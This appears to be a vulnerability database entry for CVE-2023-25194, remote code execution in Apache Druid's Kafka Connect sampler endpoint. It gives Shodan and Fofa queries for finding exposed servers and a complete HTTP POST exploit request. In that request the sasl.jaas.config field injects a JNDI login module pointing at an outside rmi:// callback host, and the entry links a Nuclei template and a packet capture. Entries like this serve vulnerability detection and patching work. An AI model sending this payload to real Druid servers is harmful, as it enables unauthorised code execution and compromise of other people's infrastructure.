| Title | Apache Druid Kafka Connect - Remote Code Execution |
|---|---|
| Author | j4vaovo |
| Severity | High |
| Impact | Authenticated attackers can exploit unsafe deserialization in the Kafka Connect REST API to execute arbitrary code through JNDI injection, potentially compromising the entire Apache Druid data analytics infrastructure. |
| Remediation | Apply Apache Druid security patches that validate and sanitize SASL JAAS configuration in Kafka connector settings to prevent JNDI injection attacks. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94055 |
| CVE ID | CVE-2023-25194 |
| CWE ID | CWE-502 |
| Shodan Query | html:"Apache Druid"http.html:"apache druid" |
| Fofa Query | body="apache druid" |
| Tags | packetstorm cve cve2023 apache druid kafka rce jndi oast vkev vuln |
The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15
Connection: close
Content-Length: 1436
Content-Type: application/json
Accept-Encoding: gzip
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://d5jkm89le0o4ng5rgkrgencgzhyzfsndj.oast.site:6666/test\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25194.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-25194.pcap
N/AN/A